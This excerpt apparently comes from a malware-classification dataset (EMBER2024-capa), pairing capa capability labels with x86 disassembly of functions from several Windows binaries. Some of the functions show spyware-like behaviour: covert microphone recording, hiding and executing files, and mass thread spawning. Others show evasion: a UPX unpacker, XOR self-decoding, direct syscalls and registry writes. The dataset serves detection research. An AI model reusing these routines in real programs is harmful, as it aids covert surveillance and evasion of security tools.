joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408580
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401330
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4085c3
push edi
call fcn.00422e5d
add esp, 4
push edi
call fcn.00402010
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085c8
sub eax, edx
add eax, 8
push eax
call fcn.0041fbf7
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.00420835
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.004227b2
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x4086f3
cmp eax, 0xffffffff
je 0x4086f3
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408626
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408640
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041fbf7
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x43b244
push esi
call fcn.00420835
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.004226b0
add esp, 0x18
test eax, eax
je 0x40868c
push esi
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
jmp 0x4086b7
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.004226b0
add esp, 8
test eax, eax
je 0x4086b7
push 5
push 0
push 0x43b460
push esi
push str.open
push 0
call ebx
push esi
call fcn.004208b9
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.004228d9
add esp, 8
test eax, eax
je 0x408621
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.00422a07
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.004208b9
add esp, 4
push edi
call fcn.004208b9
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
mov esp, ebp
pop ebp
ret
Function at 0x4088d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push 0
call fcn.004209f8
add esp, 4
push eax
call fcn.004208c4
add esp, 4
call fcn.00407300
call fcn.00407810
call fcn.004076c0
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0
push 0
push 0
push 0x408720
push 0
push 0
call esi
cmp byte [0x443a5b], 0
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
jne 0x40892f
push 0x32
call ebx
cmp byte [0x443a5b], 0
je 0x408922
call fcn.00407dc0
push 0
push 0
push 0
push 0x408350
push 0
push 0
call esi
call fcn.00406380
push 0
push 0
push 0
push 0x406960
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406520
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4065e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c10
push 0
push 0
call esi
call fcn.00408580
push 0
push 0
push 0
push 0x408a50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408d40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409bc0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409c20
push 0
push 0
call esi
mov edi, dword [ebp + 8]
push 0
push 0
push edi
push 0x409e60
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a100
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a820
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40b020
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40bfb0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40c990
push 0
push 0
call esi
lea ebx, [ebx]
push 0x493e0
call ebx
jmp 0x408a40

Function at 0x409dd0
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409dd5
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041fbf7
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420835
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.004208b9
add esp, 4
pop edi
pop esi
ret
Function at 0x40a6b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a818
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a6d0
sub eax, edx
push eax
call fcn.0041fbf7
mov esi, eax
mov eax, edi
add esp, 4
mov dword [ebp - 4], esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a6f0
sub eax, ecx
push eax
call fcn.0041fbf7
push eax
push esi
push 0
push 0
push edi
mov dword [ebp - 8], eax
call fcn.00423193
add esp, 0x18
call fcn.004015f0
cmp byte [0x443a59], 0
mov dword [ebp - 0xc], eax
jne 0x40a72e
call fcn.004060e0
mov byte [0x443a59], 1
mov eax, dword [0x443b0c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a740
sub eax, edx
mov ebx, eax
call fcn.00405f30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a753
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a763
sub eax, esi
add eax, edx
lea ecx, [eax + ebx + 0x80]
push ecx
call fcn.0041fbf7
add esp, 4
cmp byte [0x443a59], 0
mov esi, eax
jne 0x40a795
call fcn.004060e0
mov byte [0x443a59], 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [0x443b0c]
mov ebx, dword [edx + 0x94]
push eax
push ecx
call fcn.00405f30
push eax
push ebx
push str._s_comp_sext_s._s
push esi
call fcn.00420835
mov ebx, dword [ebp - 0xc]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 0x1c
test eax, eax
jne 0x40a7f7
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a7f7
push 0x7530
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 4
test eax, eax
je 0x40a7d0
mov edx, dword [ebp - 4]
push edx
call fcn.004208b9
mov eax, dword [ebp - 8]
push eax
call fcn.004208b9
push ebx
call fcn.004208b9
push esi
call fcn.004208b9
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420826
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440480]
jne 0x420830
repz ret
jmp fcn.004253b1

Function at 0x432a11
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426493
and dword [ebp - 0x14], 0
cmp dword [0x44395c], 0
mov dword [ebp - 0x18], eax
jne 0x432ac4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x432b6c
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x432b6c
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44395c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x443960], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x443964], eax
call edi
push eax
call esi
mov dword [0x44396c], eax
test eax, eax
je 0x432ac4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x443968], eax
mov eax, dword [0x443968]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x432b1d
cmp dword [0x44396c], ecx
je 0x432b1d
push eax
call esi
push dword [0x44396c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x432b1d
test ebx, ebx
je 0x432b1d
call edi
test eax, eax
je 0x432b14
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x432b14
test byte [ebp - 8], 1
jne 0x432b1d
or dword [ebp + 0x10], 0x200000
jmp 0x432b50
mov eax, dword [0x443960]
cmp eax, dword [ebp - 0x18]
je 0x432b50
push eax
call esi
test eax, eax
je 0x432b50
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x432b50
mov eax, dword [0x443964]
cmp eax, dword [ebp - 0x18]
je 0x432b50
push eax
call esi
test eax, eax
je 0x432b50
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44395c]
call esi
test eax, eax
je 0x432b6c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x432b6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
leave
ret
Function at 0x419400
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x41941a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419421
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419410
mov eax, 1
add ebx, ebx
jne 0x419433
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419428
jne 0x419444
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419428
xor ecx, ecx
sub eax, 3
jb 0x419458
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4194ca
mov ebp, eax
add ebx, ebx
jne 0x419463
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419470
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419494
inc ecx
add ebx, ebx
jne 0x419480
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419475
jne 0x419491
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419475
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4194b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4194a5
jmp 0x419416
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4194b4
add edi, ecx
jmp 0x419416
pop esi
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419513
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19704]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19784]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4194d1
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1978c]
or eax, eax
je 0x41950d
mov dword [ebx], eax
add ebx, 4
jmp 0x4194ee
call dword [esi + 0x19788]
mov ebp, dword [esi + 0x19790]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419547
sub esp, 0xffffff80
jmp 0x40d86c

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x3fd76f35
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x238f64f2
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9
Function at 0x1000134f
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x10001402
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]
Function at 0x100071f9
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x1000721b
mov eax, 0xfffffffd
jmp 0x100072fb
mov ebx, dword [0x1014ca98]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x100072c9
mov ebx, dword [0x1014ca98]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
jne 0x1000726a
mov ebx, dword [0x1014ca98]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x1000726a
mov eax, 1
jmp 0x1000726f
mov eax, 0
test eax, eax
je 0x1000729b
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x10007284
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x1014ca98]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x100072f1
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x100072fb
mov esp, ebp
pop ebp
ret 4

Function at 0x10007e67
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.1000134f
test eax, eax
je 0x10007eaa
xor eax, eax
xchg dword [ebp + 8], eax
cmp eax, 0xffff
jle 0x10007eaa
cmp word [eax], 0x5a4d
jne 0x10007eaa
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x10007eaa
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.10002219
mov eax, dword [ebp + 8]
jmp 0x10007ec3
mov esp, ebp
pop ebp
ret 4

Function at 0x1000a474
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.1000134f
test eax, eax
je 0x1000a4df
push ecx
push ebx
xor eax, eax
xchg dword [ebp + 0xc], eax
xchg dword [ebp + 0x10], eax
mov ebx, dword [ebp + 8]
cmp ebx, 0xffff
jle 0x1000a4dd
cmp word [ebx], 0x5a4d
jne 0x1000a4dd
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
cmp dword [ecx], 0x4550
jne 0x1000a4dd
cmp dword [ebp + 0x10], 0
je 0x1000a4d1
movzx eax, word [ecx + 0x16]
and eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 0x10]
jne 0x1000a4dd
cmp dword [ecx + 0x28], 0
je 0x1000a4dd
add ebx, dword [ecx + 0x28]
mov dword [ebp + 0xc], ebx
pop ebx
pop ecx
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.10002219
mov eax, dword [ebp + 0xc]
jmp 0x1000a4f8
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000e932
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x1000e9e5
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]
Function at 0x1008d8b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10111f40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.10107383
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.10091580
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1008d904
jmp dword [ecx*4 + 0x1008da6c]
mov al, byte [esi]
test al, al
je 0x1008d932
cmp al, 0x20
je 0x1008d91e
cmp al, 0xa1
jne 0x1008d932
cmp byte [esi + 1], al
jne 0x1008d932
test al, 0x80
je 0x1008d92a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1008d932
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1008d911
test ecx, ecx
je case.default.0x1008d904
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1008d904
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1008d978
cmp dl, 0xa1
jne 0x1008d96c
cmp byte [eax + 1], 0xa1
jne 0x1008d96c
test ecx, ecx
jne 0x1008d964
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1008d98c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1008d9a6
jmp 0x1008d98c
cmp dl, 0x20
jne 0x1008d98a
test ecx, ecx
jne 0x1008d983
mov edi, eax
mov ecx, 1
jmp 0x1008d98c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1008d94c
cmp ecx, 1
jne case.default.0x1008d904
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1008d904
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1008d904
mov al, byte [esi]
test al, al
je 0x1008d9fe
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1008d9e4
mov cl, byte [esi + 1]
test cl, cl
je 0x1008d9fe
cmp al, 0xa1
jne 0x1008d9d4
cmp cl, al
je 0x1008d9e1
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.10091810
inc esi
jmp 0x1008d9f6
cmp al, 0x20
je 0x1008d9f6
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10091850
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1008d9bd
push 0
lea ecx, [esp + 0x14]
call fcn.10091850
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1009cf90
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1008da31
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x1011dbe0
call fcn.10091780
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.10107315
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x1008e810
Capabilities:
Get disk size

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, 0x10134238
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x34]
push ecx
call fcn.1008e7d0
add esp, 8
mov byte [esp + 8], al
or esi, 0xffffffff
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1008e8ba
lea edx, [esp + 0xc]
lea ecx, [esp + 0x1c]
push edx
push ecx
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
push ecx
call eax
test eax, eax
je 0x1008e91b
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x1008e89c
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
jmp 0x1008e8a4
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0xa
call fcn.100f8090
mov edx, dword [esp + 0x28]
pop edi
pop esi
mov dword [edx], eax
add esp, 0x1c
ret
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x1008e90f
mov eax, dword [esp + 0x34]
test eax, eax
mov eax, dword [esp + 0x30]
je 0x1008e8ed
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push 0x400
imul edx, dword [esp + 0x20]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov dword [ecx], eax
add esp, 0x1c
ret
mov edx, dword [esp + 0x28]
pop edi
mov dword [edx], esi
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
pop esi
add esp, 0x1c
ret
Function at 0x1008f130
Capabilities:
Access peb ldr_data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x10112008
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x101489c0]
push ebx
push esi
push edi
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
lea ecx, [esp + 0x2c]
push esi
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push edi
mov dword [esp + 0x30], 0
call fcn.1008efd0
add esp, 0x14
dec esi
neg esi
sbb esi, esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x24]
add esi, 3
lea edx, [esp + 0x30]
lea ecx, [esi + esi*2]
push edx
push 0x20006
push 0
lea esi, [edi + ecx*4]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1008f1d2
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x30]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1008f28b
mov edx, dword [esi + 8]
push edx
call fcn.1009bd10
add esp, 4
test eax, eax
mov eax, dword [esi + 8]
je 0x1008f222
cmp eax, 0x80000301
jne 0x1008f1f0
mov eax, dword [esi]
jmp 0x1008f1fd
push 0
push esi
push 0x7d1
call fcn.100a13e0
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push 4
push ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1008f280
jmp 0x1008f27a
cmp eax, reloc.WS2_32.dll_connect
jne 0x1008f251
mov esi, dword [esi]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x30]
not ecx
push ecx
mov ecx, dword [esp + 0x30]
push esi
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1008f280
jmp 0x1008f27a
cmp eax, reloc.WS2_32.dll_getpeername
jne 0x1008f280
mov esi, dword [esi]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 4]
add esi, 8
push eax
push esi
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1008f280
mov dword [ebx], 1
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.10107315
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret